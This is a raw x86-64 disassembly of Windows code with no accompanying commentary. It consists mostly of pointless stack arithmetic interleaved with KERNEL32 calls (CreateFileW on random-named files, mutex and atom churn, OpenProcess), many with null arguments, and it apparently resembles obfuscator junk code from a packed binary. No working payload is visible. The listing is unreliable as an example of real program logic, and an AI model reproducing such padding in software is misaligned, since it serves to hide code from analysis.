call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc460], rax
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc408]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb60], ax
movsx eax, byte [rsp + 0x379]
movsx ecx, byte [0x1401c8a13]
xor eax, ecx
mov byte [rsp + 0x377], al
lea rcx, [rsp + 0x1fc78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc1a0]
mov qword [rsp + 0xc468], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.tANyqbQn23kbj1qxRgk
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc470], rax
mov rax, qword [rsp + 0xc430]
mov ecx, dword [rsp + 0x6400]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x63c4], eax
mov rax, qword [rsp + 0xc438]
movzx eax, byte [rax]
mov byte [rsp + 0x37b], al
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xc410]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6454], eax
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x62d0]
movzx ecx, al
mov eax, dword [rsp + 0x6398]
sar eax, cl
mov dword [rsp + 0x5aac], eax
movzx eax, word [rsp + 0x1994]
mov word [0x1401c8a28], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc478], rax
movzx ecx, word [rsp + 0x1f2c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f60], ax
mov rax, qword [rsp + 0xc380]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1404], ax
movzx eax, word [rsp + 0x1404]
mov rcx, qword [rsp + 0xc380]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9cc], ax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ae8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb910], rax
mov eax, dword [rsp + 0x62a4]
mov dword [rsp + 0x6464], eax
mov rax, qword [rsp + 0xc468]
mov rcx, qword [rsp + 0xc1a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc378]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
lea rcx, str.PVCyj_R9asahB
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f74], ax
mov rax, qword [rsp + 0xc368]
movsx eax, byte [rax]
imul eax, eax, 0x61
mov byte [rsp + 0x37a], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6324], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov r9d, 1
lea r8, [rsp + 0xc320]
mov rdx, qword [rsp + 0xc480]
mov rcx, qword [rsp + 0xc470]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6460], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x196c], ax
movzx eax, word [0x1401c7028]
movzx ecx, word [rsp + 0x1f14]
shl eax, cl
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
mov qword [0x1401c8a30], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2d0], rax
movzx eax, word [rsp + 0xfc8]
mov word [rsp + 0x1f78], ax
mov r9d, 1
lea r8, [rsp + 0xc190]
mov rdx, qword [rsp + 0xc318]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6468], eax
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc218]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc390]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc128], rax
mov rax, qword [rsp + 0xc218]
mov rcx, qword [rsp + 0xb0d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ae8], rax
mov rax, qword [rsp + 0xc0d8]
mov qword [rsp + 0xc488], rax
mov rax, qword [rsp + 0xc3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x644c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ed0], eax
movzx ecx, word [rsp + 0x1f64]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f24], ax
movzx eax, byte [rsp + 0x374]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x117], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc490], rax
mov eax, dword [0x1401c8a1c]
mov ecx, dword [rsp + 0x6440]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x62d0], eax
mov rax, qword [rsp + 0xc368]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc328]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x376], al
lea rcx, [rsp + 0x1fd38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x1f68]
mov qword [0x1401c8a38], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
movzx eax, word [rsp + 0x1d04]
mov word [rsp + 0x1f7c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc080], rax
movzx eax, word [rsp + 0xfdc]
movzx ecx, word [rsp + 0x1f3c]
or eax, ecx
mov word [rsp + 0x9c0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x848]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x11e4], ax
mov eax, dword [rsp + 0x5ed0]
mov rcx, qword [rsp + 0xc400]
mov qword [rsp + 0xc498], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc498]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6328], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0xc488]
mov qword [rsp + 0xc4a0], rax
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1d7]
imul eax, ecx
mov byte [rsp + 0x377], al
mov rax, qword [0x1401c8a38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x196c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea rax, [rsp + 0x9c0]
mov qword [rsp + 0xc4a8], rax
mov rcx, qword [rsp + 0xc038]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc450]
add rcx, rax
mov rax, rcx
mov qword [0x1401c7030], rax
mov rax, qword [rsp + 0xc3a0]
mov rcx, qword [rsp + 0xc3c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc390]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc3a0]
mov rax, qword [rax]
mov qword [rsp + 0xc4b0], rax
mov edx, 0x1acc
mov rcx, qword [rsp + 0xc490]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x646c], eax
lea rcx, [rsp + 0x1fd68]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x62b8], eax
mov rax, qword [rsp + 0xc420]
mov rcx, qword [rsp + 0xaeb0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1d8], rax
movzx eax, word [rsp + 0xfdc]
movzx ecx, word [rsp + 0x848]
sar eax, cl
mov word [rsp + 0x1404], ax
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rcx, str.O3JivWRe_s1Fywec
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f80], ax
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x26d]
mov qword [rsp + 0xc4b8], rax
mov eax, dword [rsp + 0x62d0]
mov dword [rsp + 0x6470], eax
mov rax, qword [rsp + 0xc368]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x376]
shl eax, cl
mov byte [rsp + 0x37a], al
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc3a8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9588], rax
movzx ecx, word [rsp + 0x1f40]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f6c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x63b8], eax
lea rax, [0x1401c7008]
mov qword [0x1401c8a40], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc4c0], rax
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0xb60]
add eax, ecx
mov word [rsp + 0x196c], ax
movsx eax, word [rsp + 0x1994]
movsx ecx, word [rsp + 0xb60]
add eax, ecx
mov word [rsp + 0x1f1c], ax
lea rcx, [rsp + 0x1fbb8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc380]
movzx eax, word [rax]
mov word [rsp + 0x1f84], ax
mov r9d, 2
lea r8, [rsp + 0xc190]
mov rdx, qword [rsp + 0xc190]
mov rcx, qword [rsp + 0xc1d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6454], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xaeb0]
mov rcx, qword [rsp + 0xc1d8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc3c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc430]
mov rcx, qword [rsp + 0xc400]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x59f8], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0xc008]
mov rcx, qword [rsp + 0xa148]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc468], rax
mov rax, qword [rsp + 0xc328]
movzx eax, byte [rax]
mov byte [rsp + 0x37c], al
mov r9d, 0x1a42
xor r8d, r8d
lea rdx, [rsp + 0xc3b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x63b8], eax
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [rsp + 0x1f7c]
or eax, ecx
mov word [rsp + 0x1f1c], ax
movzx eax, word [rsp + 0xfc8]
mov word [0x1401c8a48], ax
mov rax, qword [rsp + 0xc3a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc3c8]
mov qword [rsp + 0xc4c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc4c8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc3e0], rax
lea rcx, str.sf65NZv5K5
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f88], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc090], rax
movzx eax, word [rsp + 0x1f38]
movzx ecx, word [rsp + 0x848]
shl eax, cl
mov word [rsp + 0x114c], ax
mov eax, dword [rsp + 0x6440]
mov ecx, dword [rsp + 0x62d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5aac], eax
lea rax, [rsp + 0x378]
mov qword [rsp + 0xc4d0], rax
mov rax, qword [rsp + 0xc328]
movzx eax, byte [rax]
mov byte [rsp + 0x37d], al
mov r9d, 1
lea r8, [rsp + 0xc198]
mov rdx, qword [rsp + 0xc4d8]
mov rcx, qword [rsp + 0xc440]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x63ec], eax
mov rax, qword [rsp + 0xc430]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x63c4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc400]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc4a0]
mov rcx, qword [rsp + 0xc210]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc3f0], rax
lea rax, [rsp + 0xb60]
mov qword [rsp + 0xc4e0], rax
movzx ecx, word [rsp + 0x1f10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f74], ax
lea rcx, [rsp + 0x1fd38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rcx, qword [rsp + 0xc3b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [0x1401c8a24]
mov qword [0x1401c8a50], rax
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xc440]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6428], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0xc3a0]
mov rcx, qword [rsp + 0xc218]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc388], rax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov qword [rsp + 0xc4e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x137c]
sar eax, cl
mov rcx, qword [rsp + 0xc408]
mov word [rcx], ax
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc380]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xfc8], ax
mov eax, dword [0x1401c8a18]
mov rcx, qword [rsp + 0xc3c0]
mov qword [rsp + 0xc4f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc4f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6058], eax
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc3a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1a0], rax
lea rax, [rsp + 0x375]
mov qword [rsp + 0xc4f8], rax
mov rax, qword [rsp + 0x9ae8]
mov qword [rsp + 0xc500], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6434], eax
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f50]
xor eax, ecx
mov word [0x1401c8a10], ax
movzx eax, word [rsp + 0x1f0c]
mov rcx, qword [rsp + 0xc4a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9cc], ax
mov eax, dword [rsp + 0x6470]
mov ecx, dword [rsp + 0x62cc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5aac], eax
mov rax, qword [rsp + 0xc438]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc4b8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1c6], al
mov rax, qword [rsp + 0xc218]
movzx ecx, al
mov rax, qword [rsp + 0xb0d8]
shl rax, cl
mov qword [rsp + 0xc3e0], rax
mov rax, qword [rsp + 0xc4f8]
movzx eax, byte [rax]
mov byte [rsp + 0x37e], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea rdx, [rsp + 0x26060]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6334], eax
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [rsp + 0x6348]
imul eax, dword [rsp + 0x6448]
mov dword [rsp + 0x59f8], eax
mov rax, qword [rsp + 0xc350]
mov rax, qword [rax]
mov qword [rsp + 0xc508], rax
mov rax, qword [0x1401c8a38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc408]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f7c], ax
mov rcx, qword [rsp + 0xc398]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x1f84]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c7038], ax
mov rax, qword [rsp + 0xc3a0]
mov rcx, qword [rsp + 0xc390]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc1d8], rax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f14]
add eax, ecx
mov word [rsp + 0xcb4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov r9d, 0x1a97
xor r8d, r8d
lea rdx, [rsp + 0xc418]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6474], eax
movsx eax, word [rsp + 0xb60]
movsx ecx, word [rsp + 0x1f68]
add eax, ecx
mov word [rsp + 0x1f7c], ax
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
mov qword [rsp + 0xc510], rax
movsx eax, byte [rsp + 0x37e]
mov rcx, qword [rsp + 0xc368]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x377], al
mov rax, qword [rsp + 0xc350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc210]
mov qword [rsp + 0xc518], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc518]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc3a8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
lea rax, [0x1401c7008]
mov qword [rsp + 0xc520], rax
movzx eax, word [rsp + 0xfc8]
mov rcx, qword [rsp + 0xc4a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa5c], ax
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
cqo
mov rcx, qword [rsp + 0xc3a0]
idiv qword [rcx]
mov qword [0x1401c7010], rax
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc528], rax
movzx ecx, word [rsp + 0x1f18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f08], ax
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc4d0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2d8], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov eax, dword [rsp + 0x5aac]
mov ecx, dword [rsp + 0x6440]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x645c], eax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f68]
sub eax, ecx
mov word [rsp + 0x137c], ax
mov rax, qword [rsp + 0xc380]
movzx eax, word [rax]
mov word [rsp + 0x1f8c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x63b8], eax
mov rax, qword [rsp + 0xc368]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x375]
shl eax, cl
mov rcx, qword [rsp + 0xc4f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc008]
mov qword [rsp + 0xc530], rax
mov eax, dword [rsp + 0x6254]
mov dword [rsp + 0x644c], eax
lea rcx, str.iyxBntl_Jnx
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f90], ax
movsx eax, word [rsp + 0xb60]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc4e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
mov word [0x1401c8a58], ax
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0xc3a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xab60], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x62b0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.NnfjM6Axydaiadlt27xse
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc538], rax
mov rcx, qword [rsp + 0xc3b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb910]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc4e8], rax
lea rax, [rsp + 0xba40]
mov qword [rsp + 0xc540], rax
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x196c], ax
mov rax, qword [rsp + 0xc468]
mov qword [rsp + 0xc548], rax
mov eax, dword [rsp + 0x6400]
mov ecx, dword [0x1401c7008]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6464], eax
mov edx, 0x152b
mov rcx, qword [rsp + 0xc478]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6324], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc338], rax
movsx eax, byte [rsp + 0x375]
movsx ecx, byte [rsp + 0x37c]
add eax, ecx
mov byte [rsp + 0x37e], al
mov eax, dword [rsp + 0x62cc]
mov ecx, dword [0x1401c8a1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x597c], eax
movzx eax, byte [rsp + 0x253]
mov rcx, qword [rsp + 0xc4d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1c6], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x1f50]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401c8a10], ax
mov rcx, qword [rsp + 0xc140]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x11e4]
mov word [rsp + 0x1f94], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2f8], rax
movzx eax, word [rsp + 0x848]
movzx ecx, word [0x1401c8a24]
xor eax, ecx
mov word [rsp + 0x1f20], ax
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xc450]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc4b0], rax
mov rax, qword [rsp + 0xc3f0]
mov qword [rsp + 0xc550], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6394], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
movsx eax, byte [rsp + 0x377]
mov rcx, qword [rsp + 0xc328]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x37c], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0xc3c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5ed0]
shr eax, cl
mov dword [rsp + 0x6098], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb60]
sub eax, ecx
mov rcx, qword [rsp + 0xc1c0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62bc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6478], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x63f0], eax
lea rcx, [rsp + 0x1d368]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, word [0x1401c8a58]
mov rcx, qword [rsp + 0xc380]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc4a8]
mov word [rcx], ax
lea rax, [rsp + 0xc218]
mov qword [0x1401c8a60], rax
lea rax, [rsp + 0x1f20]
mov qword [rsp + 0xc558], rax
mov rax, qword [rsp + 0xc540]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc450]
shl rax, cl
mov qword [rsp + 0xc088], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov qword [rsp + 0xc560], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc568], rax
mov rax, qword [rsp + 0xc350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa148]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc488], rax
mov rax, qword [rsp + 0xc3c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401c7008]
shr eax, cl
mov dword [rsp + 0x5a3c], eax
mov eax, dword [rsp + 0x5aac]
mov ecx, dword [rsp + 0x6440]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x597c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x37b], al
movzx eax, byte [rsp + 0x37e]
mov byte [rsp + 0x37f], al
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f68]
add eax, ecx
mov word [0x1401c703c], ax
movsx eax, word [rsp + 0x1994]
movsx ecx, word [rsp + 0x1f7c]
and eax, ecx
mov word [rsp + 0x1d04], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
